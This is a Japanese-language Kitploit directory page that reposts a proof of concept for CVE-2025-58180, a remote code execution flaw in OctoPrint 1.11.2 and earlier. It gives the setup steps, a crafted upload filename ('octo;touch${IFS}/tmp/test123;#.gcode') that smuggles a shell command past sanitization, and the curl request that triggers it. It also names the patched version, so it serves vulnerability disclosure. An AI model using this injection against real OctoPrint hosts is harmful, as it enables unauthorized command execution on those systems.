Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-58180 — OctoPrint バージョン <=1.11.2 では、ファイルアップロードアクセス権を持つ攻撃者(例:有効なAPIキーまたはセッション)が、サニタイゼーションをバイパスする悪意のあるファイル名を作成し、その後 OctoPrint のイベントシステムによって実行されることで、ホスト上でリモートコード実行(RCE)に至ります。 | Kitploit
ツール/GitHubGitHub/prabhatverma47/cve-2025-58180
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール
GitHubprabhatverma47/cve-2025-58180

CVE-2025-58180

OctoPrint バージョン <=1.11.2 では、ファイルアップロードアクセス権を持つ攻撃者(例:有効なAPIキーまたはセッション)が、サニタイゼーションをバイパスする悪意のあるファイル名を作成し、その後 OctoPrint のイベントシステムによって実行されることで、ホスト上でリモートコード実行(RCE)に至ります。

リポジトリを見る
1年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-58180 OctoPrint のファイルアップロードにおける無害化されていないファイル名によるRCE

OctoPrint バージョン <=1.11.2 において、ファイルアップロードアクセス(有効なAPIキーやセッションなど)を持つ攻撃者は、サニタイズ(無害化)をバイパスし、後に OctoPrint のイベントシステムによって実行される悪意のあるファイル名を作成できます。これにより、ホスト上でリモートコード実行(RCE)が発生します。


PoC: 脆弱性再現の手順

ステップ 1: バージョン情報

最新安定版リリースをダウンロード: OctoPrint 1.11.2

image

ステップ 2: OctoPrint の実行

root@kitploit:~
octoprint serve --port 5000 --debug
  • ブラウザで http://127.0.0.1:5000 を開く。
  • 初期ウィザードを進め、デフォルト設定(接続、匿名、プラグインは無効)でユーザーを作成する。
  • API キーを Settings → API から取得し、後で使用するために保存する。 image

上記の手順が完了したら、OctoPrint サービスを停止する。


ステップ 3: イベントサブスクリプションの設定

OctoPrint イベントドキュメント に従う:

~/.octoprint/config.yaml を編集:

root@kitploit:~
events:
  enabled: true
  subscriptions:
    - event: FileAdded
      type: system
      debug: true
      command: "{path}"
image

ステップ 4: サンプル G コードの作成

/tmp/gcode/ok.gcode を作成:

root@kitploit:~
; minimal gcode
G28
M105

OctoPrint サービスを再起動する。


ステップ 5: 概念実証 RCE

  1. API キーをエクスポート:
root@kitploit:~
export API_KEY='<key previously gathered from webUI>'
  1. ファイルが存在しないことを確認:
root@kitploit:~
ls -la /tmp/test123
  1. 悪意のあるファイル名のペイロードを作成:
    INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'

説明: ${IFS} はシェルの内部フィールド区切り文字(通常はスペース)です。注入時にサニタイズをバイパスします。

  1. curl リクエストを送信:
root@kitploit:~
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
  -F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
  "http://127.0.0.1:5000/api/files/local"
  1. 実行を確認:
root@kitploit:~
ls -la /tmp/test123
image

/tmp/test123 が存在する場合、注入されたコマンドが正常に実行され → RCE が確認されます。


フローの説明

root@kitploit:~
[ユーザーが細工されたファイル名でアップロード]
        │
        ▼
server/api/files.py → 生のファイル名を受け付ける(メタ文字が sanitize_name を生き残る)
        │
        ▼
events.py (EventManager.fire "FileAdded") → ペイロード {path} に生の文字が含まれる
        │
        ▼
システムコマンドサブスクライバー → subprocess.check_call(..., shell=True)
        │
        ▼
[注入されたシェルメタ文字が OS コマンドとして実行される]

まとめ

ファイルがアップロードされると:

  1. OctoPrint はファイル名を受け付ける(限定的なサニタイズあり)。
  2. FileAdded イベントをトリガーする。
  3. システムコマンドがこのイベントにサブスクライブされている場合、生のファイル名(;、${IFS} などを含む)がシェルに渡される。
  4. これにより、ファイル名内に注入されたコマンドがホスト上で実行される。

結果: ホストシステム上でのリモートコード実行(RCE)。


参照

  • CVE 割り当て:(CVE-2025-58180) GHSA-49mj-x8jp-qvfc
  • パッチ適用バージョン: 1.11.3

ツールをダウンロード